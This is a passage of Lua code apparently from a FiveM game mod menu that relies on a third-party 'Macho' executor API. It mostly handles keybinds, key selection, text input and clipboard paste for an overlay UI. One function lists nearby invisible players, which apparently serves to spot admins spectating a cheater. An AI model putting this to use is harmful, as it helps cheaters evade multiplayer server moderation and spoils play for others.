_, item in ipairs(menu) do if not item then goto continue end -- Check both label and bindName for matching (case-insensitive) local itemLabel = item.label and string.lower(tostring(item.label)) or "" local itemBindName = item.bindName and string.lower(tostring(item.bindName)) or "" local searchName = string.lower(tostring(name)) if item.type == 'checkbox' and (itemLabel == searchName or itemBindName == searchName) then return item.checked == true end if item.submenu then local found = findFeatureInMenu(item.submenu, name) if found ~= nil then return found end end if item.tabs then for _, tab in ipairs(item.tabs) do if tab and tab.submenu then local found = findFeatureInMenu(tab.submenu, name) if found ~= nil then return found end end end end ::continue:: end return nil end -- Check activeMenu first (current menu state) if activeMenu then local state = findFeatureInMenu(activeMenu, featureName) if state ~= nil then return state end end -- Then check originalMenu if originalMenu then local state = findFeatureInMenu(originalMenu, featureName) if state ~= nil then return state end end -- Fallback: return nil (will use keybind's enabled state) return nil end -- Function to update keybind list UI (similar to displayFreecam pattern) local function updateKeybindListUI() if not dui or not showKeybindList then return end local keybindList = {} for controlId, keybindData in pairs(customKeybinds) do -- Try to get the actual feature state from the menu local featureState = getFeatureState(keybindData.name) local enabled = featureState if enabled == nil then -- Fallback to keybind's enabled state if feature state not found enabled = keybindData.enabled ~= false else -- Update the keybind's enabled state to match the feature customKeybinds[controlId].enabled = enabled end table.insert(keybindList, { controlId = controlId, name = keybindData.name, enabled = enabled }) end -- Update active keybinds state activeKeybinds = keybindList -- Send to Svelte UI MachoSendDuiMessage(dui, json.encode({ action = 'updateKeybindList', keybinds = keybindList })) end -- Function to update spectator list UI local function updateSpectatorListUI() -- Always check MenuSystem directly to ensure we have the latest value if not dui or not MenuSystem.spectators.showSpectatorList then return end local success1, myPed = pcall(PlayerPedId) if not success1 or not myPed then return end local success2, myCoord = pcall(GetEntityCoords, myPed) if not success2 or not myCoord then return end local spectatorList = {} -- Safely get active players (GetActivePlayers returns an array) local activePlayers = GetActivePlayers() if activePlayers then -- Iterate through all active players for i = 0, #activePlayers - 1 do local pid = activePlayers[i] if pid and pid ~= -1 then local success3, pPed = pcall(GetPlayerPed, pid) if success3 and pPed and pPed ~= 0 and pPed ~= myPed then local success4, c = pcall(GetEntityCoords, pPed) if success4 and c then local dx, dy, dz = c.x - myCoord.x, c.y - myCoord.y, c.z - myCoord.z local dist = math.sqrt(dx*dx + dy*dy + dz*dz) local visible = IsEntityVisible(pPed) -- Only add invisible players within 100 units if dist <= 100.0 and not visible then local playerName = GetPlayerName(pid) or ("Player " .. tostring(pid)) local serverId = GetPlayerServerId(pid) if serverId and serverId > 0 then table.insert(spectatorList, { id = serverId, name = playerName }) end end end end end end end -- Update active spectators state MenuSystem.spectators.activeSpectators = spectatorList -- ALWAYS send to Svelte UI (even if empty) to ensure list updates and clears properly local success, encoded = pcall(json.encode, { action = 'updateSpectatorList', spectators = spectatorList }) if success and encoded then pcall(function() MachoSendDuiMessage(dui, encoded) end) end end -- Function to handle toggle keybind from Svelte local function handleToggleKeybind(controlId, enabled) if controlId and customKeybinds[controlId] then customKeybinds[controlId].enabled = enabled if dui then -- Send sync update back to Svelte FIRST to ensure UI is updated MachoSendDuiMessage(dui, json.encode({ action = 'toggleKeybind', controlId = controlId, name = customKeybinds[controlId].name, enabled = enabled })) -- Then update the full list to ensure consistency updateKeybindListUI() MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = string.format("Keybind '%s' %s", customKeybinds[controlId].name, enabled and "enabled" or "disabled"), type = 'info' })) end end end -- Message handler for messages from Svelte UI -- This should be called when messages are received from the DUI if MachoOnDuiMessage then MachoOnDuiMessage(function(message) if not message or message == "" then return end local success, data = pcall(json.decode, message) if not success or not data or not data.action then return end if data.action == 'toggleKeybind' and data.controlId and data.enabled ~= nil then handleToggleKeybind(data.controlId, data.enabled) elseif data.action == 'requestKeybindListUpdate' then -- Update keybind list when requested from Svelte updateKeybindListUI() end end) else -- Fallback: Create a thread to periodically check for message updates -- This is a workaround if MachoOnDuiMessage doesn't exist CreateThread(function() while true do Wait(100) -- Check every 100ms -- The actual message handling might be done elsewhere -- This thread is just to ensure the system is active end end) end -- NEW: Clean keybind setup initiation -- Enhanced keybind setup initiation with tab support local function initiateKeybindSetup() ---("=== INITIATING KEYBIND SETUP ===") -- Safety checks if textInputActive or keySelectionActive or keybindSetupActive then ---("ERROR: Another dialog is already active") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Close current dialog first", type = 'error' })) end return false end if not _G.clientMenuShowing then ---("ERROR: Menu not showing") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Open menu first", type = 'error' })) end return false end local currentItem = activeMenu[activeIndex] if not currentItem then ---("ERROR: No current menu item") return false end if not currentItem.canBind then ---("ERROR: Current item cannot be bound") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "This feature cannot be bound to a key", type = 'warn' })) end return false end -- All checks passed - start setup keybindSetupActive = true keybindWaitingForKey = true keybindSelectedControl = nil -- Store current tab information for proper callback execution local currentTabInfo = nil if currentTabs and currentTabIndex then currentTabInfo = { tabName = currentTabs[currentTabIndex + 1].name, tabIndex = currentTabIndex } end keybindTargetFeature = { name = currentItem.bindName or currentItem.label, callback = currentItem.onConfirm, item = currentItem, tabInfo = currentTabInfo } ---("SUCCESS: Started keybind setup for:", keybindTargetFeature.name) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'openKeybindSetup', title = "Keybind Setup", featureName = keybindTargetFeature.name, instruction = "Press Any key to bind to this feature", hint = "ESC to cancel" })) -- Send NUI focus message MachoSendDuiMessage(dui, json.encode({ action = "updateKeyboard", visible = true })) end return true end -- NEW: Clean keybind setup completion local function completeKeybindSetup(controlId) ---("=== COMPLETING KEYBIND SETUP ===") if not keybindSetupActive or not keybindTargetFeature then ---("ERROR: No active keybind setup") return false end if controlId then -- Create a more robust keybind entry that finds the original menu item dynamically customKeybinds[controlId] = { name = keybindTargetFeature.name, itemType = keybindTargetFeature.item.type, itemLabel = keybindTargetFeature.item.label, originalCallback = keybindTargetFeature.callback, enabled = true -- Default to enabled when created } local controlName = getControlName(controlId) ---("SUCCESS: Keybind saved:", controlName, "->", keybindTargetFeature.name) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = string.format("Keybind set: %s -> %s", controlName, keybindTargetFeature.name), type = 'success' })) end else ---("INFO: Keybind setup canceled") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Keybind setup canceled", type = 'info' })) end end -- Clean up state keybindSetupActive = false keybindWaitingForKey = false keybindSelectedControl = nil keybindTargetFeature = nil if dui then -- Send NUI focus removal message MachoSendDuiMessage(dui, json.encode({ action = "updateKeyboard", visible = false })) MachoSendDuiMessage(dui, json.encode({ action = 'closeKeybindSetup' })) -- Update keybind list after adding a new keybind if controlId then updateKeybindListUI() end end return true end -- Function to find menu item by label recursively local function findMenuItemByLabel(menu, targetLabel) for _, item in ipairs(menu) do if item.label == targetLabel then return item end if item.type == "submenu" and item.submenu then local found = findMenuItemByLabel(item.submenu, targetLabel) if found then return found end end end return nil end -- NEW: Process key for keybind setup local function processKeybindKey(keyCode) if not keybindSetupActive or not keybindWaitingForKey then return false end ---("=== PROCESSING KEYBIND KEY:", keyCode, string.format("0x%02X", keyCode)) -- Handle cancel if keyCode == 0x1B then -- Escape ---("INFO: User canceled keybind setup") completeKeybindSetup(nil) return true end -- Handle confirmation if keyCode == 0x0D then -- Enter if keybindSelectedControl then ---("INFO: User confirmed keybind setup with control:", keybindSelectedControl) completeKeybindSetup(keybindSelectedControl) else ---("WARNING: No key selected to confirm") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No key selected to confirm", type = 'warn' })) end end return true end -- Map keyCode to controlId local controlId = nil -- Standard special keys if keyCode == 0x22 then controlId = 11 -- Page Down elseif keyCode == 0x51 then controlId = 44 -- Q elseif keyCode == 0x45 then controlId = 38 -- E elseif keyCode == 0x46 then controlId = 23 -- F elseif keyCode == 0x71 then controlId = 75 -- F2 elseif keyCode == 0x2D then controlId = 121 -- Insert elseif keyCode == 0x2E then controlId = 178 -- Delete elseif keyCode == 0x24 then controlId = 213 -- Home elseif keyCode == 0x23 then controlId = 214 -- End elseif keyCode == 0x11 then controlId = 96 -- Left Ctrl elseif keyCode == 0x12 then controlId = 97 -- Left Alt elseif keyCode == 0x10 then controlId = 21 -- Left Shift elseif keyCode == 0x52 then controlId = 19 -- R key elseif keyCode == 0x54 then controlId = 245 -- T key elseif keyCode == 0x59 then controlId = 246 -- Y key elseif keyCode == 0x55 then controlId = 303 -- U key -- Letter keys A-Z elseif keyCode >= 0x41 and keyCode <= 0x5A then controlId = keyCode - 0x41 + 1000 -- Number keys 0-9 elseif keyCode >= 0x30 and keyCode <= 0x39 then controlId = keyCode - 0x30 + 2000 -- Function keys F1-F12 elseif keyCode >= 0x70 and keyCode <= 0x7B then controlId = keyCode - 0x70 + 3000 -- Special keys elseif keyCode == 0x14 then controlId = 4000 -- Caps Lock elseif keyCode == 0x09 then controlId = 4001 -- Tab elseif keyCode == 0x20 then controlId = 4002 -- Space elseif keyCode == 0xC0 then controlId = 4003 -- Backtick elseif keyCode == 0xBA then controlId = 4004 -- Semicolon elseif keyCode == 0xBB then controlId = 4005 -- Equals elseif keyCode == 0xBC then controlId = 4006 -- Comma elseif keyCode == 0xBD then controlId = 4007 -- Minus elseif keyCode == 0xBE then controlId = 4008 -- Period elseif keyCode == 0xBF then controlId = 4009 -- Slash elseif keyCode == 0xDB then controlId = 4010 -- Left Bracket elseif keyCode == 0xDC then controlId = 4011 -- Backslash elseif keyCode == 0xDD then controlId = 4012 -- Right Bracket elseif keyCode == 0xDE then controlId = 4013 -- Apostrophe elseif keyCode == 0x0D then controlId = 4014 -- Enter end if controlId then keybindSelectedControl = controlId local controlName = getControlName(controlId) ---("SUCCESS: Key selected for binding:", controlName, "Control ID:", controlId) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'updateKeybindSetup', keyName = controlName, keyCode = controlId })) end else ---("WARNING: Unmappable key code:", keyCode) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Key cannot be mapped", type = 'warn' })) end end return true end -- ===================== KEY SELECTION FUNCTIONS ===================== local function openKeySelection() keySelectionActive = true if dui then MachoSendDuiMessage(dui, json.encode({ action = 'openKeySelection', title = firstTimeSetup and "First Time Setup - Select Menu Key" or "Select New Menu Key", instruction = "Press any key to bind it as your menu toggle key", hint = "ESC to cancel" })) -- Send NUI focus message MachoSendDuiMessage(dui, json.encode({ action = "updateKeyboard", visible = true })) ---("Key selection dialog opened") end end local function closeKeySelection(selectedControl) keySelectionActive = false if selectedControl then selectedMenuControl = selectedControl ---("Menu control set to:", getControlName(selectedControl)) if firstTimeSetup then firstTimeSetup = false ---("First time setup completed with key:", getControlName(selectedControl)) -- FIXED: Show success message and initialize menu if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Menu key set to: " .. getControlName(selectedControl), type = 'success' })) end end else if firstTimeSetup then selectedMenuControl = 11 firstTimeSetup = false ---("First time setup canceled - defaulting to Page Down") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Defaulted to Page Down key", type = 'info' })) end end end if dui then -- Disable native NUI focus -- Send NUI focus removal message MachoSendDuiMessage(dui, json.encode({ action = "updateKeyboard", visible = false })) MachoSendDuiMessage(dui, json.encode({ action = 'closeKeySelection' })) end end -- ===================== HELPER FUNCTIONS ===================== local function updateTextInputUI() if dui and textInputActive then MachoSendDuiMessage(dui, json.encode({ action = 'updateTextInput', value = textInputData.value })) -- Send NUI focus update with value MachoSendDuiMessage(dui, json.encode({ action = "updateKeyboard", visible = true, value = textInputData.value })) ---("Updated text input UI:", textInputData.value) end end local function validateInput(input, inputType) if inputType == "numeric" then return input:match("^[0-9]*$") ~= nil elseif inputType == "alphanumeric" then return input:match("^[a-zA-Z0-9_]*$") ~= nil else return true end end local function addCharacter(char) if string.len(textInputData.value) < textInputData.maxLength then local testValue = textInputData.value .. char if validateInput(testValue, textInputData.inputType) then textInputData.value = testValue updateTextInputUI() --- ("Added character:", char, "Current value:", textInputData.value) else --- ("Character rejected by validation:", char) end else --- ("Max length reached:", textInputData.maxLength) end end local function removeLastCharacter() if string.len(textInputData.value) > 0 then textInputData.value = string.sub(textInputData.value, 1, -2) updateTextInputUI() --- ("Removed last character, current value:", textInputData.value) end end local function clearInput() textInputData.value = "" updateTextInputUI() --- ("Input cleared") end local function pasteFromClipboard() --- ("=== ATTEMPTING TO PASTE FROM CLIPBOARD ===") local clipboardData = nil if MachoGetClipboardText then clipboardData = MachoGetClipboardText() end if clipboardData and clipboardData ~= "" then if validateInput(clipboardData, textInputData.inputType) then local newValue = textInputData.value .. clipboardData if string.len(newValue) <= textInputData.maxLength then textInputData.value = newValue updateTextInputUI() --- ("Pasted content:", clipboardData) --- ("New input value:", textInputData.value) else --- ("Paste too long for remaining space!") end else --- ("Pasted content invalid for input type:", textInputData.inputType) end else --- ("No clipboard data available") end end local function handleKeyPress(keyCode) ---("=== KEY PRESS:", keyCode, string.format("0x%02X", keyCode)) -- Track key state local currentTime = GetGameTimer() if NO_REPEAT_KEYS[keyCode] then -- For keys that shouldn't repeat (Enter, Delete, Q, E, Escape, Backspace) -- Only trigger once per press (when key goes from not pressed to pressed) if not keyStates[keyCode] then keyJustPressed[keyCode] = true keyStates[keyCode] = true else -- Key is already pressed (being held), don't trigger again return end -- Continue processing this single key press else -- For repeatable keys (arrow keys) if not keyStates[keyCode] then -- Key was not pressed before, so this is a "just pressed" event keyJustPressed[keyCode] = true keyStates[keyCode] = true keyHoldTime[keyCode] = currentTime keyLastRepeat[keyCode] = currentTime keyRepeatCount[keyCode] = 0 else -- Key is being held down, not just pressed (will be handled by repeat thread) return end end -- PRIORITY 1: Handle F9 for keybind setup (ALWAYS FIRST) if keyCode == 0x78 then -- F9 ---("F9 DETECTED - Attempting keybind setup") -- Only process F9 when menu is showing and no dialogs are active if _G.clientMenuShowing and not textInputActive and not keySelectionActive and not keybindSetupActive then ---("F9 CONDITIONS MET - Starting keybind setup") initiateKeybindSetup() else ---("F9 CONDITIONS NOT MET - Menu:", _G.clientMenuShowing, "TextInput:", textInputActive, "KeySel:", keySelectionActive, "Keybind:", keybindSetupActive) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Open menu and select a bindable feature first", type = 'info' })) end end return -- Always return after F9 processing end if keyCode == 0x79 then -- F10 ---("F10 DETECTED - Attempting keybind removal") -- Only process F10 when menu is showing and no dialogs are active if _G.clientMenuShowing and not textInputActive and not keySelectionActive and not keybindSetupActive then local currentItem = activeMenu[activeIndex] if currentItem and currentItem.canBind then local featureName = currentItem.bindName or currentItem.label -- Enhanced keybind removal with better matching local removedKeybinds = {} for controlId, keybind in pairs(customKeybinds) do local shouldRemove = false -- Match by exact feature name if keybind.name == featureName then shouldRemove = true -- Match by item label elseif keybind.itemLabel == currentItem.label then shouldRemove = true -- Match by partial name (for similar features) elseif featureName and keybind.name and keybind.name:lower():find(featureName:lower(), 1, true) then shouldRemove = true elseif featureName and keybind.itemLabel and keybind.itemLabel:lower():find(currentItem.label:lower(), 1, true) then shouldRemove = true end if shouldRemove then table.insert(removedKeybinds, { controlId = controlId, controlName = getControlName(controlId), featureName = keybind.name }) customKeybinds[controlId] = nil end end if #removedKeybinds > 0 then for _, removed in ipairs(removedKeybinds) do ---("SUCCESS: Keybind removed:", removed.controlName, "->", removed.featureName) end if dui then local message = #removedKeybinds == 1 and string.format("Unbound: %s from %s", removedKeybinds[1].featureName, removedKeybinds[1].controlName) or string.format("Unbound %d keybinds for: %s", #removedKeybinds, featureName) MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = message, type = 'success' })) end else ---("INFO: No keybind found for feature:", featureName) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No keybind found for: " .. featureName, type = 'warn' })) end end else ---("ERROR: Current item cannot be bound/unbound") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "This feature cannot be bound/unbound", type = 'warn' })) end end else ---("F10 CONDITIONS NOT MET - Menu:", _G.clientMenuShowing, "TextInput:", textInputActive, "KeySel:", keySelectionActive, "Keybind:", keybindSetupActive) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Open menu and select a bindable feature first", type = 'info' })) end end return -- Always return after F10 processing end -- PRIORITY 2.5: Handle menu toggle for custom keys (4000+ range) -- PRIORITY 2: UNIVERSAL KEY SUPPORT - Handle ALL possible keys as menu toggle if selectedMenuControl and not firstTimeSetup and not keySelectionActive and not textInputActive and not keybindSetupActive then local shouldToggle = false local detectedKey = "Unknown" -- Check if this keyCode matches the selected menu control if selectedMenuControl == keyCode then -- Direct keyCode match (for when user selects raw key codes) shouldToggle = true detectedKey = string.format("Raw KeyCode 0x%02X", keyCode) else -- Standard FiveM controls to keyCode mapping if selectedMenuControl == 11 and keyCode == 0x22 then shouldToggle = true; detectedKey = "Page Down" elseif selectedMenuControl == 21 and keyCode == 0x21 then shouldToggle = true; detectedKey = "Page Up" elseif selectedMenuControl == 44 and keyCode == 0x51 then shouldToggle = true; detectedKey = "Q Key" elseif selectedMenuControl == 38 and keyCode == 0x45 then shouldToggle = true; detectedKey = "E Key" elseif selectedMenuControl == 23 and keyCode == 0x46 then shouldToggle = true; detectedKey = "F Key" elseif selectedMenuControl == 75 and keyCode == 0x71 then shouldToggle = true; detectedKey = "F2 Key" elseif selectedMenuControl == 121 and keyCode == 0x2D then shouldToggle = true; detectedKey = "Insert Key" elseif selectedMenuControl == 178 and keyCode == 0x2E then shouldToggle = true; detectedKey = "Delete Key" elseif selectedMenuControl == 213 and keyCode == 0x24 then shouldToggle = true; detectedKey = "Home Key" elseif selectedMenuControl == 214 and keyCode == 0x23 then shouldToggle = true; detectedKey = "End Key" elseif selectedMenuControl == 96 and keyCode == 0x11 then shouldToggle = true; detectedKey = "Left Ctrl" elseif selectedMenuControl == 97 and keyCode == 0x12 then shouldToggle = true; detectedKey = "Left Alt" elseif selectedMenuControl == 21 and keyCode == 0x10 then shouldToggle = true; detectedKey = "Left Shift" -- Custom special keys (4000+ range) elseif selectedMenuControl == 4000 and keyCode == 0x14 then shouldToggle = true; detectedKey = "Caps Lock" elseif selectedMenuControl == 4001 and keyCode == 0x09 then shouldToggle = true; detectedKey = "Tab Key" elseif selectedMenuControl == 4002 and keyCode == 0x20 then shouldToggle = true; detectedKey = "Space Key" elseif selectedMenuControl == 4003 and keyCode == 0xC0 then shouldToggle = true; detectedKey = "Backtick Key" elseif selectedMenuControl == 4004 and keyCode == 0xBA then shouldToggle = true; detectedKey = "Semicolon Key" elseif selectedMenuControl == 4005 and keyCode == 0xBB then shouldToggle = true; detectedKey = "Equals Key" elseif selectedMenuControl == 4006 and keyCode == 0xBC then shouldToggle = true; detectedKey = "Comma Key" elseif selectedMenuControl == 4007 and keyCode == 0xBD then shouldToggle = true; detectedKey = "Minus Key" elseif selectedMenuControl == 4008 and keyCode == 0xBE then shouldToggle = true; detectedKey = "Period Key" elseif selectedMenuControl == 4009 and keyCode == 0xBF then shouldToggle = true; detectedKey = "Slash Key" elseif selectedMenuControl == 4010 and keyCode == 0xDB then shouldToggle = true; detectedKey = "Left Bracket Key" elseif selectedMenuControl == 4011 and keyCode == 0xDC then shouldToggle = true; detectedKey = "Backslash Key" elseif selectedMenuControl == 4012 and keyCode == 0xDD then shouldToggle = true; detectedKey = "Right Bracket Key" elseif selectedMenuControl == 4013 and keyCode == 0xDE then shouldToggle = true; detectedKey = "Apostrophe Key" elseif selectedMenuControl == 4014 and keyCode == 0x0D then shouldToggle = true; detectedKey = "Enter Key" -- Letter keys (1000-1025 range) elseif selectedMenuControl >= 1000 and selectedMenuControl <= 1025 then local expectedKeyCode = 0x41 + (selectedMenuControl - 1000) if keyCode == expectedKeyCode then shouldToggle = true detectedKey = string.char(65 + (selectedMenuControl - 1000)) .. " Key" end -- Number keys (2000-2009 range) elseif selectedMenuControl >= 2000 and selectedMenuControl <= 2009 then local expectedKeyCode = 0x30 + (selectedMenuControl - 2000) if keyCode == expectedKeyCode then shouldToggle = true detectedKey = tostring(selectedMenuControl - 2000) .. " Key" end -- Function keys (3000-3011 range) elseif selectedMenuControl >= 3000 and selectedMenuControl <= 3011 then local expectedKeyCode = 0x70 + (selectedMenuControl - 3000) if keyCode == expectedKeyCode then shouldToggle = true detectedKey = "F" .. tostring(selectedMenuControl - 3000 + 1) .. " Key" end -- UNIVERSAL FALLBACK: Support ANY keyCode as a potential menu key elseif selectedMenuControl >= 5000 then -- For keys beyond our predefined ranges, use direct keyCode matching local targetKeyCode = selectedMenuControl - 5000 if keyCode == targetKeyCode then shouldToggle = true detectedKey = string.format("Universal Key 0x%02X", keyCode) end end end -- Toggle menu for ANY detected key with identical behavior if shouldToggle then ---("UNIVERSAL MENU TOGGLE:", detectedKey, "KeyCode:", string.format("0x%02X", keyCode)) if _G.clientMenuShowing then _G.clientMenuShowing = false ---("Menu CLOSED via", detectedKey) else _G.clientMenuShowing = true ---("Menu OPENED via", detectedKey) end return -- Always return after menu toggle end end -- PRIORITY 2: Handle keybind setup input if keybindSetupActive then ---("KEYBIND SETUP ACTIVE - Processing key") processKeybindKey(keyCode) return -- Always return after keybind processing end -- PRIORITY 3: Check for custom keybind activation (ONLY when not in normal menu navigation) if not textInputActive and not keySelectionActive and not keybindSetupActive then -- Don't activate keybinds for Enter/Escape/Arrow keys when menu is showing (these are for navigation) local isNavigationKey = (keyCode == 0x0D or keyCode == 0x1B or keyCode == 0x25 or keyCode == 0x26 or keyCode == 0x27 or keyCode == 0x28) -- Enter, Escape, Arrow keys if not (_G.clientMenuShowing and isNavigationKey) then for controlId, keybind in pairs(customKeybinds) do local matchingKey = false -- Check if this keyCode matches the bound controlId if controlId >= 1000 and controlId <= 1025 then -- Letters A-Z local expectedKeyCode = 0x41 + (controlId - 1000) -- A=0x41 matchingKey = (keyCode == expectedKeyCode) elseif controlId >= 2000 and controlId <= 2009 then -- Numbers 0-9 local expectedKeyCode = 0x30 + (controlId - 2000) -- 0=0x30 matchingKey = (keyCode == expectedKeyCode) elseif controlId >= 3000 and controlId <= 3011 then -- Function keys F1-F12 local expectedKeyCode = 0x70 + (controlId - 3000) -- F1=0x70 matchingKey = (keyCode == expectedKeyCode) elseif controlId >= 4000 and controlId <= 4014 then -- Special keys if controlId == 4000 and keyCode == 0x14 then matchingKey = true -- Caps Lock elseif controlId == 4001 and keyCode == 0x09 then matchingKey = true -- Tab elseif controlId == 4002 and keyCode == 0x20 then matchingKey = true -- Space elseif controlId == 4003 and keyCode == 0xC0 then matchingKey = true -- Backtick elseif controlId == 4004 and keyCode == 0xBA then matchingKey = true -- Semicolon elseif controlId == 4005 and keyCode == 0xBB then matchingKey = true -- Equals elseif controlId == 4006 and keyCode == 0xBC then matchingKey = true -- Comma elseif controlId == 4007 and keyCode == 0xBD then matchingKey = true -- Minus elseif controlId == 4008 and keyCode == 0xBE then matchingKey = true -- Period elseif controlId == 4009 and keyCode == 0xBF then matchingKey = true -- Slash elseif controlId == 4010 and keyCode == 0xDB then matchingKey = true -- Left Bracket elseif controlId == 4011 and keyCode == 0xDC then matchingKey = true -- Backslash elseif controlId == 4012 and keyCode == 0xDD then matchingKey = true -- Right Bracket elseif controlId == 4013 and keyCode == 0xDE then matchingKey = true -- Apostrophe elseif controlId == 4014 and keyCode == 0x0D then matchingKey = true -- Enter end -- Standard FiveM controls (but not when menu is open and it's a navigation conflict) elseif controlId == 11 and keyCode == 0x22 then matchingKey = true -- Page Down elseif controlId == 44 and keyCode == 0x51 then matchingKey = true -- Q elseif controlId == 38 and keyCode == 0x45 then matchingKey = true -- E elseif controlId == 23 and keyCode == 0x46 then matchingKey = true -- F elseif controlId == 75 and keyCode == 0x71 then matchingKey = true -- F2 elseif controlId == 121 and keyCode == 0x2D then matchingKey = true -- Insert elseif controlId == 178 and keyCode == 0x2E then matchingKey = true -- Delete elseif controlId == 213 and keyCode == 0x24 then matchingKey = true -- Home elseif controlId == 214 and keyCode == 0x23 then matchingKey = true -- End elseif controlId == 96 and keyCode == 0x11 then matchingKey = true -- Left Ctrl elseif controlId == 97 and keyCode == 0x12 then matchingKey = true -- Left Alt elseif controlId == 21 and keyCode == 0x10 then matchingKey = true -- Left Shift elseif controlId == 19 and keyCode == 0x52 then matchingKey = true -- R key elseif controlId == 245 and keyCode == 0x54 then matchingKey = true -- T key elseif controlId == 246 and keyCode == 0x59 then matchingKey = true -- Y key elseif controlId == 303 and keyCode == 0x55 then matchingKey = true -- U key end if matchingKey then ---("CUSTOM KEYBIND ACTIVATED:", keybind.name, "Key Code:", keyCode) -- Enhanced function to find menu item recursively including tabs local function findItemInTabs(menu, targetLabel) for _, item in ipairs(menu) do if item.label == targetLabel then return item end if item.type == "submenu" and item.submenu then local found = findItemInTabs(item.submenu, targetLabel) if found then return found end end if item.tabs then for _, tab in ipairs(item.tabs) do if tab.submenu then local found = findItemInTabs(tab.submenu, targetLabel) if found then return found end end end end end return nil end local currentMenuItem = findItemInTabs(originalMenu, keybind.itemLabel) if currentMenuItem and keybind.originalCallback then -- For checkboxes, toggle the state if keybind.itemType == "checkbox" then currentMenuItem.checked = not currentMenuItem.checked ---("Checkbox toggled to:", currentMenuItem.checked) -- Update the keybind's enabled state to match customKeybinds[controlId].enabled = currentMenuItem.checked -- Update UI if menu is open if _G.clientMenuShowing then setCurrent() end -- Execute the callback with the new state keybind.originalCallback(currentMenuItem.checked) -- Update keybind list to reflect the change immediately if showKeybindList then CreateThread(function() Wait(50) -- Small delay to ensure menu state is updated updateKeybindListUI() end) end else -- For buttons and other types, just execute the callback keybind.originalCallback() end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Activated: " .. keybind.name, type = 'success' })) end else ---("ERROR: Could not find menu item or callback for keybind:", keybind.name) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Keybind error: " .. keybind.name, type = 'error' })) end end return end end end end -- PRIORITY 4: Handle key selection mode if keySelectionActive then if keyCode == 0x1B then -- Escape ---("Key selection canceled") closeKeySelection(nil) return elseif keyCode == 0x0D then -- Enter if selectedMenuControl then ---("Key selection confirmed:", getControlName(selectedMenuControl)) closeKeySelection(selectedMenuControl) end return else -- Map raw key codes to FiveM control IDs including special keys local controlId = nil if keyCode == 0x22 then controlId = 11 -- Page Down elseif keyCode == 0x51 then controlId = 44 -- Q elseif keyCode == 0x45 then controlId = 38 -- E elseif keyCode == 0x46 then controlId = 23 -- F elseif keyCode == 0x71 then controlId = 75 -- F2 elseif keyCode == 0x2D then controlId = 121 -- Insert elseif keyCode == 0x2E then controlId = 178 -- Delete elseif keyCode == 0x24 then controlId = 213 -- Home elseif keyCode == 0x23 then controlId = 214 -- End elseif keyCode == 0x11 then controlId = 96 -- Left Ctrl elseif keyCode == 0x12 then controlId = 97 -- Left Alt elseif keyCode == 0x10 then controlId = 21 -- Left Shift -- Special keys support elseif keyCode == 0x14 then controlId = 4000 -- Caps Lock elseif keyCode == 0x09 then controlId = 4001 -- Tab elseif keyCode == 0x20 then controlId = 4002 -- Space elseif keyCode == 0xC0 then controlId = 4003 -- Backtick elseif keyCode == 0xBA then controlId = 4004 -- Semicolon elseif keyCode == 0xBB then controlId = 4005 -- Equals elseif keyCode == 0xBC then controlId = 4006 -- Comma elseif keyCode == 0xBD then controlId = 4007 -- Minus elseif keyCode == 0xBE then controlId = 4008 -- Period elseif keyCode == 0xBF then controlId = 4009 -- Slash elseif keyCode == 0xDB then controlId = 4010 -- Left Bracket elseif keyCode == 0xDC then controlId = 4011 -- Backslash elseif keyCode == 0xDD then controlId = 4012 -- Right Bracket elseif keyCode == 0xDE then controlId = 4013 -- Apostrophe elseif keyCode == 0x0D then controlId = 4014 -- Enter end if controlId then selectedMenuControl = controlId local controlName = getControlName(controlId) ---("Control selected:", controlName) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'updateKeySelection', keyName = controlName, keyCode = controlId })) end end return end end -- PRIORITY 5: Handle text input with FULL keyboard support AND FIXED UNDERSCORE -- Replace the text input section in your handleKeyPress function (around line 1200-1400) -- PRIORITY 5: Handle text input with FULL keyboard support if textInputActive then -- Handle backspace FIRST for text input (prevent menu navigation) if keyCode == 0x08 or keyCode == 194 then -- Backspace (both key codes) if textInputData and textInputData.value then local currentValue = textInputData.value if #currentValue > 0 then textInputData.value = currentValue:sub(1, #currentValue - 1) updateTextInputUI() ---("Backspace: Removed character, new value:", textInputData.value) end end return -- Always return to prevent other handlers end -- Handle Enter and Escape if keyCode == 0x0D then -- Enter if not textInputJustOpened then closeTextInput(true) end return elseif keyCode == 0x1B then -- Escape if not textInputJustOpened then closeTextInput(false) end return end -- Handle Delete key (clear all) if keyCode == 0x2E then -- Delete if textInputData then textInputData.value = "" updateTextInputUI() ---("Delete: Cleared input") end return end -- Handle Ctrl+V for clipboard paste if keyCode == 0x56 then -- V key local IsDisabledControlPressed = IsDisabledControlPressed(0, 36) or IsDisabledControlPressed(0, 17) or IsDisabledControlPressed(0, 36) or IsDisabledControlPressed(0, 17) if IsDisabledControlPressed then pasteFromClipboard() return end end -- Handle regular character input with proper shift detection local char = KeyMap[keyCode] if char then local finalChar = char -- Check shift state using multiple methods for reliability local isShiftPressed = shiftPressed or IsDisabledControlPressed(0, 21) or IsDisabledControlPressed(0, 21) or (keyStates[0x10] == true) ---("Processing char:", char, "shiftPressed:", isShiftPressed, "keyCode:", string.format("0x%02X", keyCode)) -- Handle shift for uppercase letters if char:match('[a-z]') and isShiftPressed then finalChar = char:upper() ---("Uppercase:", finalChar) -- Handle shift for special characters (like underscore from minus key) elseif isShiftPressed and ShiftMap[char] then finalChar = ShiftMap[char] ---("Shift character mapped:", char, "->", finalChar) end 